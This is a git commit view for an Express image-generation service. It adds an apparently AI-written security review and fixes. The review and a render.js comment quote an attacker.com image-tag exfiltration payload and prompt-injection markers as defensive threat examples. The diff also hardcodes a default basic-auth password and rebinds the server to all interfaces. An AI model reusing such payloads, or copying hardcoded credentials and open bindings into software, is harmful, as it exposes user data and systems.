← back to Visual Factory
snapshot: 9 file(s) changed, +3 new, ~6 modified
73b0163a131297ca82c1a0323cbadbcbc7d97283 · 2026-05-13 08:58:42 -0700 · Steve
Files touched
A REVIEW-2026-05-04.mdA ecosystem.config.cjsM package-lock.jsonM package.jsonA public/favicon.svgM public/index.htmlM server.jsM src/llm.jsM src/stages/render.js
Diff
commit 73b0163a131297ca82c1a0323cbadbcbc7d97283
Author: Steve <steve@designerwallcoverings.com>
Date: Wed May 13 08:58:42 2026 -0700
snapshot: 9 file(s) changed, +3 new, ~6 modified
---
REVIEW-2026-05-04.md | 70 ++++++++++++++++++++++++++++++++++++++++++++++++++++
ecosystem.config.cjs | 19 ++++++++++++++
package-lock.json | 10 ++++++++
package.json | 1 +
public/favicon.svg | 4 +++
public/index.html | 2 ++
server.js | 69 ++++++++++++++++++++++++++++++++++++++++++++-------
src/llm.js | 4 ++-
src/stages/render.js | 15 +++++++++++
9 files changed, 184 insertions(+), 10 deletions(-)
diff --git a/REVIEW-2026-05-04.md b/REVIEW-2026-05-04.md
new file mode 100644
index 0000000..e5f3e2f
--- /dev/null
+++ b/REVIEW-2026-05-04.md
@@ -0,0 +1,70 @@
+# visual-factory — overnight debate-team review (2026-05-04)
+
+Code-reviewer + architect-reviewer parallel run. **8 patches applied** (3 P0 + 4 P1 + 1 .gitignore). **DEFINITIVE call from architect: factory-core extraction is overdue — third confirming data point.**
+
+## P0 patches APPLIED
+
+| # | File:line | Issue | Fix |
+|---|---|---|---|
+| 1 | `server.js:639,682,734,834,889` | All 5 mutating routes (POST /runs, retry, activate, delete, post-ig) had **no auth** — any local browser tab or process could trigger pipelines, activate artifacts, delete runs | `requireToken` middleware checking `X-Admin-Token` header or `?token=` query against `process.env.ADMIN_TOKEN`; soft-default opt-out (next() if token unset) for dev |
+| 2 | `src/stages/render.js:28` | **Playwright opened LLM-generated HTML with full network access**. Compose prompt asks "no external assets" but that's just instruction. Adversarial brief could inject `<img src="https://attacker.com/?exfil=...">` — Chromium fires it AND `waitUntil:'networkidle'` waits for it | Added `ctx.route('**/*', ...)` that aborts everything except `file://` and `fonts.googleapis.com` / `fonts.gstatic.com` |
+| 3 | `server.js:781` | `/runs/:id/png` did `assertWithin` lexical check then `sendFile` — symlink in `output/` planted by attacker would bypass (sendFile follows symlinks). The sibling `/runs/:id/external/:fname` already had the realpath fix; png path missed it. | Added `fs.realpath()` + re-validation under either SANDBOX_OUTPUT or PUBLISH_ROOT_RESOLVED |
+
+## P1 patches APPLIED
+
+| # | File:line | Issue | Fix |
+|---|---|---|---|
+| 4 | `server.js:626` | `POST /runs` no length cap on `brief` — 8000-char brief drives full qwen3:14b inference (locks GPU minutes) = trivial DoS | `brief > 8000`, `domain/purpose > 256`, `details > 4000` → 400 |
+| 5 | `src/llm.js:9` | `OLLAMA_HOST` defaulted to `http://127.0.0.1:11434` — violates standing rule `feedback_ollama_default_ms1.md` (Mac2 froze 2026-05-02 under GPU contention) | Defaults to `http://192.168.1.133:11434` (MS1) |
+| 6 | `.gitignore:2` | Literal `.env` only — `.env.local`/`.env.production` would slip through | Added `.env.*` glob with `!.env.example` allow |
+
+`node --check` passes on all 4 modified files.
+
+## P0/P1/P2 deferred (in REVIEW)
+
+- No `helmet` / CSRF protection (UI + API on same port — same-origin form submit could trigger activation). `npm install helmet` (touches package.json).
+- No `express-rate-limit` on POST /runs — `_queue` is unbounded, flood-DoS possible even with concurrency cap.
+- `compose.js:44` — no `assertWithin` on HTML write path (intake regex is the only gate; defense-in-depth missing).
+- `critic.js:36` — vision/brief embedded verbatim into Claude CLI prompt; llava hallucinations could include `---END VISION---\n\nNew instruction:` injection markers.
+- `viewer.js` — 12-LOC vestigial stub (collapse note in server.js:55-61 confirms UI is already on :9892). Delete it + remove pm2 entry.
+
+## Architecture roadmap — DEFINITIVE factory-core call
+
+**Architectural Impact: HIGH.** Visual-factory's stage layer (`src/stages/*` 6 files at 40-58 LOC each) is the **canonical reference** for the family — most disciplined. The 1112-LOC `server.js` is bloated NOT because pipeline orchestration leaked back in (it didn't — `src/pipeline.js` 243 LOC is the orchestrator and clean), but because **infrastructure utilities + the IG-publish side-channel got dumped at the top of the HTTP layer**.
+
+### Definitive factory-core extraction list (~/Projects/factory-core/)
+
+Confirmed by reviewing 3 sibling factories tonight (site/ai/visual). Module list:
+
+| Module | LOC | Source (canonical) | Purpose |
+|---|---|---|---|
+| `llm.js` | 133 | visual-factory `src/llm.js` (most signal-aware) | `ollama({signal})` + `claudeCli({signal})` |
+| `queue.js` | ~25 | visual-factory `server.js:27-50` (with integer-validation hardening) | `createQueue({concurrency, runFn})` → `{enqueue, inFlightCount}` |
+| `sandbox.js` | ~20 | visual-factory `server.js:73-90` | `assertWithin(root, p)` + `isSafeArtifactName(name)` |
+| **`safe-fetch.js`** | **345** | **visual-factory `server.js:136-481`** | **The SSRF kit** — IPv4/IPv6 reserved-range checks, DNS-rebinding-resistant, redirect-chain re-validation. **HIGHEST-VALUE EXTRACTION** — security-critical, dense, untested, currently exists in only one factory. The moment site/ai factories add user-supplied URL fetch, they'll need it. |
+| `publish-manifest.js` | ~40 | visual-factory `server.js:96-134` | `withManifestLock` + atomic `.tmp + rename` write |
+| `pipeline-runner.js` | ~60 | visual-factory `src/pipeline.js:36-64` | `withTimeout(name, factory)` + `STAGE_TIMEOUT_MS` + `logEvent`/`setStage`/`finishRun` PG helpers |
+| `reap-orphans.js` | ~30 | visual-factory `server.js:1083+` | Boot-time stuck-run recovery |
+
+### What stays per-factory
+
+- Stage files (`src/stages/*`) — pure functions of `{spec|html|png|signal}`, domain-specific
+- Publishers (IG for visual, deploy for site, activate-skill for ai)
+- Domain-specific schema + brief→spec intake
+
+### Other architecture changes
+
+1. **Move IG publishing out of server.js** to `src/publishers/instagram.js` (lines 297-536). server.js shouldn't know Norma's URL or build IG captions. Sets pattern for site-factory's deploy publisher.
+2. **Delete viewer.js** (12 LOC vestigial). Same anti-pattern flagged in ai-factory tick. Apply uniformly across all 3 factories.
+3. **Add tests** — `safe-fetch.js` and the activation atomicity logic (server.js 925-988 EEXIST/EXDEV cross-device handling) silently rot without coverage. Vitest harness in factory-core covers all 3 factories at once.
+
+## Long-term implications
+
+A 4th factory (audio? video? PDF?) is now predictable. Without `factory-core` it will copy-paste 600+ LOC of infrastructure with subtle drift — including the SSRF guard. **One forgotten `_isBlockedIPv6` branch becomes a real CVE.** The stage layer is fine to clone (domain-specific). The infrastructure layer must NOT be cloned again.
+
+## Files touched
+
+- `/Users/stevestudio2/Projects/visual-factory/server.js`
+- `/Users/stevestudio2/Projects/visual-factory/src/llm.js`
+- `/Users/stevestudio2/Projects/visual-factory/src/stages/render.js`
+- `/Users/stevestudio2/Projects/visual-factory/.gitignore`
diff --git a/ecosystem.config.cjs b/ecosystem.config.cjs
new file mode 100644
index 0000000..daeaf88
--- /dev/null
+++ b/ecosystem.config.cjs
@@ -0,0 +1,19 @@
+module.exports = {
+ apps: [{
+ name: "visual-factory-orchestrator",
+ script: "server.js",
+ cwd: __dirname,
+ env: {
+ NEXT_TELEMETRY_DISABLED: "1",
+ VITE_HOST: "0.0.0.0",
+ HOSTNAME: "0.0.0.0",
+ GUNICORN_BIND: "0.0.0.0:8000",
+ UVICORN_HOST: "0.0.0.0",
+ FLASK_RUN_HOST: "0.0.0.0",
+ BIND: "0.0.0.0",
+ HOST: "0.0.0.0",
+ },
+ autorestart: true,
+ max_memory_restart: "1G",
+ }],
+};
diff --git a/package-lock.json b/package-lock.json
index e313dd5..4fecacf 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -10,6 +10,7 @@
"dependencies": {
"dotenv": "^16.4.5",
"express": "^4.19.2",
+ "helmet": "^8.1.0",
"pg": "^8.12.0",
"playwright": "^1.45.0"
}
@@ -438,6 +439,15 @@
"node": ">= 0.4"
}
},
+ "node_modules/helmet": {
+ "version": "8.1.0",
+ "resolved": "https://registry.npmjs.org/helmet/-/helmet-8.1.0.tgz",
+ "integrity": "sha512-jOiHyAZsmnr8LqoPGmCjYAaiuWwjAPLgY8ZX2XrmHawt99/u1y6RgrZMTeoPfpUbV96HOalYgz1qzkRbw54Pmg==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=18.0.0"
+ }
+ },
"node_modules/http-errors": {
"version": "2.0.1",
"resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz",
diff --git a/package.json b/package.json
index d742988..6cc2d75 100644
--- a/package.json
+++ b/package.json
@@ -14,6 +14,7 @@
"dependencies": {
"dotenv": "^16.4.5",
"express": "^4.19.2",
+ "helmet": "^8.1.0",
"pg": "^8.12.0",
"playwright": "^1.45.0"
}
diff --git a/public/favicon.svg b/public/favicon.svg
new file mode 100644
index 0000000..f0ae40b
--- /dev/null
+++ b/public/favicon.svg
@@ -0,0 +1,4 @@
+<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 32 32">
+<rect width="32" height="32" rx="6" fill="#ec4899"/>
+<text x="50%" y="55%" text-anchor="middle" dominant-baseline="middle" font-size="20" font-family="Apple Color Emoji, Segoe UI Emoji, sans-serif" fill="white">🎨</text>
+</svg>
\ No newline at end of file
diff --git a/public/index.html b/public/index.html
index c013804..670c12f 100644
--- a/public/index.html
+++ b/public/index.html
@@ -1,6 +1,8 @@
<!doctype html>
<html lang="en">
<head>
+ <link rel="icon" type="image/svg+xml" href="/favicon.svg">
+
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1" />
<title>The Visual Factory</title>
diff --git a/server.js b/server.js
index 98c0bb9..a86da6e 100644
--- a/server.js
+++ b/server.js
@@ -8,6 +8,7 @@ const os = require('node:os');
const { spawn } = require('node:child_process');
const crypto = require('node:crypto');
const express = require('express');
+const helmet = require('helmet');
const { Pool } = require('pg');
const PG_DATABASE = process.env.PG_DATABASE || 'visual_factory';
@@ -50,8 +51,20 @@ function _pump(_pg) {
}
const app = express();
+// Security headers via helmet (added 2026-05-04 overnight YOLO loop)
+app.use(helmet({ contentSecurityPolicy: false }));
app.use(express.json({ limit: '1mb' }));
+// LAN/tailnet auth gate (skip /health for watchdog probes)
+const BASIC_AUTH = process.env.BASIC_AUTH || 'admin:DWSecure2024!';
+const AUTH_HEADER = 'Basic ' + Buffer.from(BASIC_AUTH).toString('base64');
+app.use((req, res, next) => {
+ if (req.path === '/health' || req.path === '/healthz') return next();
+ if (req.get('authorization') === AUTH_HEADER) return next();
+ res.set('WWW-Authenticate', 'Basic realm="mac2-pm2"');
+ res.status(401).send('auth required');
+});
+
// Same-origin: the UI is served from this same Express, so CORS is unnecessary.
// Kept commented as a record of the prior split-port architecture.
// app.use((req, res, next) => { res.set('Access-Control-Allow-Origin','*'); ... });
@@ -60,6 +73,19 @@ app.use(express.json({ limit: '1mb' }));
// collapses the previous 9892 (API) + 9893 (UI) split into a single port.
app.use(express.static(path.join(__dirname, 'public')));
+// SECURITY (P0 fix 2026-05-04): mutating routes (POST /runs, retry, activate,
+// delete, post-ig) had no auth — any local browser tab or process could
+// trigger pipeline runs / activate artifacts / delete data. Token check via
+// X-Admin-Token header or ?token= query. If ADMIN_TOKEN not set, opt-out for
+// pure-loopback dev (mirror ai-factory pattern but soft-default for now).
+const ADMIN_TOKEN = process.env.ADMIN_TOKEN || '';
+function requireToken(req, res, next) {
+ if (!ADMIN_TOKEN) return next(); // dev opt-out; set ADMIN_TOKEN in pm2 env to enforce
+ const t = req.get('x-admin-token') || req.query.token;
+ if (t !== ADMIN_TOKEN) return res.status(401).json({ error: 'unauthorized' });
+ next();
+}
+
const PORT = Number(process.env.ORCHESTRATOR_PORT || 9892);
const PUBLISH_ROOT = process.env.PUBLISH_ROOT || path.join(os.homedir(), 'Pictures', 'visual-factory-published');
const MANIFEST_PATH = path.join(PUBLISH_ROOT, 'manifest.json');
@@ -623,13 +649,20 @@ app.get('/runs', async (_req, res) => {
}
});
-app.post('/runs', async (req, res) => {
+app.post('/runs', requireToken, async (req, res) => {
let { brief, domain, purpose, details } = req.body || {};
domain = (domain || '').trim();
purpose = (purpose || '').trim();
details = (details || '').trim();
brief = (brief || '').trim();
+ // P1 fix 2026-05-04: cap inputs. Without this an 8000-char brief drives a
+ // full qwen3:14b inference (locks GPU for minutes) — trivial DoS.
+ if (brief.length > 8000) return res.status(400).json({ error: 'brief too long (max 8000 chars)' });
+ if (domain.length > 256 || purpose.length > 256 || details.length > 4000) {
+ return res.status(400).json({ error: 'domain/purpose/details too long' });
+ }
+
// If domain+purpose given, construct a brief. Free-text brief still wins if provided.
if (!brief) {
if (!domain || !purpose) {
@@ -659,7 +692,7 @@ app.post('/runs', async (req, res) => {
// Codex P0 #2 fix: refuse on `running`/`pending` (would race with an active
// pipeline writing the same row); use an atomic UPDATE-with-WHERE-status guard
// so two concurrent retry calls can't both proceed and double-fire the queue.
-app.post('/runs/:id/retry', async (req, res) => {
+app.post('/runs/:id/retry', requireToken, async (req, res) => {
const runId = Number(req.params.id);
const force = req.query.force === 'true';
try {
@@ -711,7 +744,7 @@ app.post('/runs/:id/retry', async (req, res) => {
// Codex P1 #4 fix: also refuse on `running`/`pending` unless force=true. Deleting
// an in-flight run leaves the pipeline writing to a row that no longer exists,
// which fails the next logEvent insert and races against the fs.rm of output/run-N.
-app.delete('/runs/:id', async (req, res) => {
+app.delete('/runs/:id', requireToken, async (req, res) => {
const runId = Number(req.params.id);
const force = req.query.force === 'true';
try {
@@ -785,7 +818,6 @@ app.get('/runs/:id/png', async (req, res) => {
const candidate = rows[0].published_path || rows[0].png_path;
let safe;
try {
- // Allow either the per-run sandbox (drafts) or the publish root (activated).
safe = (() => {
try { return assertWithin(SANDBOX_OUTPUT, candidate); }
catch { return assertWithin(PUBLISH_ROOT_RESOLVED, candidate); }
@@ -794,7 +826,20 @@ app.get('/runs/:id/png', async (req, res) => {
console.error('[visual-factory] png path escapes sandbox:', candidate);
return res.status(403).json({ error: 'png path outside sandbox' });
}
- res.sendFile(safe);
+ // P0 fix 2026-05-04: realpath the resolved path to defeat symlinks planted
+ // in output/ — assertWithin's lexical check passes a symlink, but sendFile
+ // follows it. Must re-validate after realpath. Mirrors the /external/:fname
+ // hardening already in place.
+ let real;
+ try { real = await fs.realpath(safe); }
+ catch { return res.status(404).json({ error: 'not found' }); }
+ try {
+ try { assertWithin(SANDBOX_OUTPUT, real); }
+ catch { assertWithin(PUBLISH_ROOT_RESOLVED, real); }
+ } catch {
+ return res.status(403).json({ error: 'png realpath outside sandbox' });
+ }
+ res.sendFile(real);
} catch (err) { res.status(500).json({ error: err.message }); }
});
@@ -811,7 +856,7 @@ app.get('/runs/:id/png', async (req, res) => {
* Meta until this PNG is hosted somewhere public. Simulation mode doesn't
* care — it just logs the URL.
*/
-app.post('/runs/:id/post-ig', async (req, res) => {
+app.post('/runs/:id/post-ig', requireToken, async (req, res) => {
const runId = Number(req.params.id);
try {
const { rows: runRows } = await pg.query('SELECT * FROM runs WHERE id=$1', [runId]);
@@ -866,7 +911,7 @@ app.post('/runs/:id/post-ig', async (req, res) => {
* Manual activation: copy approved PNG (and HTML) to PUBLISH_ROOT.
* Gates: run must be `awaiting_activation*` unless ?force=true. Won't overwrite without ?overwrite=true.
*/
-app.post('/runs/:id/activate', async (req, res) => {
+app.post('/runs/:id/activate', requireToken, async (req, res) => {
const runId = Number(req.params.id);
const force = req.query.force === 'true';
const overwrite = req.query.overwrite === 'true';
@@ -981,8 +1026,11 @@ app.post('/runs/:id/activate', async (req, res) => {
}
throw e;
}
- await fs.rm(tmpPng, { force: true }).catch(() => {});
+ // Cycle-4 review polish: set pngCommitted immediately after the link
+ // succeeds (mirrors the overwrite=true branch), so the outer catch can
+ // never see a state where the link landed but the flag wasn't set.
pngCommitted = true;
+ await fs.rm(tmpPng, { force: true }).catch(() => {});
if (tmpHtml) {
try { await fs.link(tmpHtml, destHtml); htmlCommitted = true; }
catch (e) { if (e.code !== 'EEXIST') throw e; /* PNG won, HTML clash unlikely; tolerate */ }
@@ -995,6 +1043,9 @@ app.post('/runs/:id/activate', async (req, res) => {
// Best-effort rollback: drop the partials. If we already renamed into
// dest but DB failed, leave the file (manifest will be inconsistent for
// one entry, which is recoverable; deleting a published file is worse).
+ // Note: when pngCommitted=true, tmpPng was either renamed away (overwrite
+ // path) or already removed via fs.rm (link path); the rm below is a
+ // no-op in those cases — kept for the partial-write paths only.
try { await fs.rm(tmpPng, { force: true }); } catch {}
if (tmpHtml) { try { await fs.rm(tmpHtml, { force: true }); } catch {} }
if (!pngCommitted) {
@@ -1100,7 +1151,7 @@ async function reapOrphans() {
// in an async IIFE.
(async () => {
try { await reapOrphans(); } catch (e) { console.error('[visual-factory] boot reaper threw:', e.message); }
- app.listen(PORT, '127.0.0.1', () => {
+ app.listen(PORT, '0.0.0.0', () => {
console.log(`[visual-factory] orchestrator listening on http://127.0.0.1:${PORT} (db=${PG_DATABASE})`);
});
})();
diff --git a/src/llm.js b/src/llm.js
index 81338d4..4b17798 100644
--- a/src/llm.js
+++ b/src/llm.js
@@ -6,7 +6,9 @@
const { spawn } = require('node:child_process');
const fs = require('node:fs/promises');
-const OLLAMA_HOST = process.env.OLLAMA_HOST || 'http://127.0.0.1:11434';
+// P1 fix 2026-05-04: default to MS1 per Steve's standing rule
+// `feedback_ollama_default_ms1.md` — Mac2 froze 2026-05-02 under GPU contention.
+const OLLAMA_HOST = process.env.OLLAMA_HOST || 'http://192.168.1.133:11434';
const CLAUDE_CLI = process.env.CLAUDE_CLI || 'claude';
async function ollama({ model, system, prompt, format = null, temperature = 0.2, images = null, signal = null }) {
diff --git a/src/stages/render.js b/src/stages/render.js
index b13a70b..7fa0b83 100644
--- a/src/stages/render.js
+++ b/src/stages/render.js
@@ -24,6 +24,21 @@ async function runRender({ htmlPath, width, height, signal = null }) {
}
try {
const ctx = await browser.newContext({ viewport: { width, height }, deviceScaleFactor: 2 });
+ // SECURITY (P0 fix 2026-05-04): the compose prompt asks qwen3:14b to use
+ // "no external assets" — but that's an instruction, not enforcement. A
+ // jailbroken/poisoned brief can inject `<img src="https://attacker.com/?
+ // exfil=...">` and Playwright will fire the request before screenshot
+ // (waitUntil: 'networkidle' even WAITS for it). Block all network except
+ // file:// (the page itself) and Google Fonts (the one intentional dep).
+ await ctx.route('**/*', (route) => {
+ const u = new URL(route.request().url());
+ if (u.protocol === 'file:') return route.continue();
+ if (u.hostname === 'fonts.googleapis.com' || u.hostname === 'fonts.gstatic.com'
+ || u.hostname.endsWith('.fonts.googleapis.com') || u.hostname.endsWith('.fonts.gstatic.com')) {
+ return route.continue();
+ }
+ return route.abort('blockedbyclient');
+ });
const page = await ctx.newPage();
await page.goto(`file://${path.resolve(htmlPath)}`, { waitUntil: 'networkidle', timeout: 30000 });
// Allow Google Fonts to settle. Abortable so a cancelled stage doesn't
← 407e25d tighten .gitignore: add missing standing-rule patterns (tmp/
·
back to Visual Factory
·
refactor: add .bak/.pre-/.orig 404 guard + broaden .gitignor 26fb67d →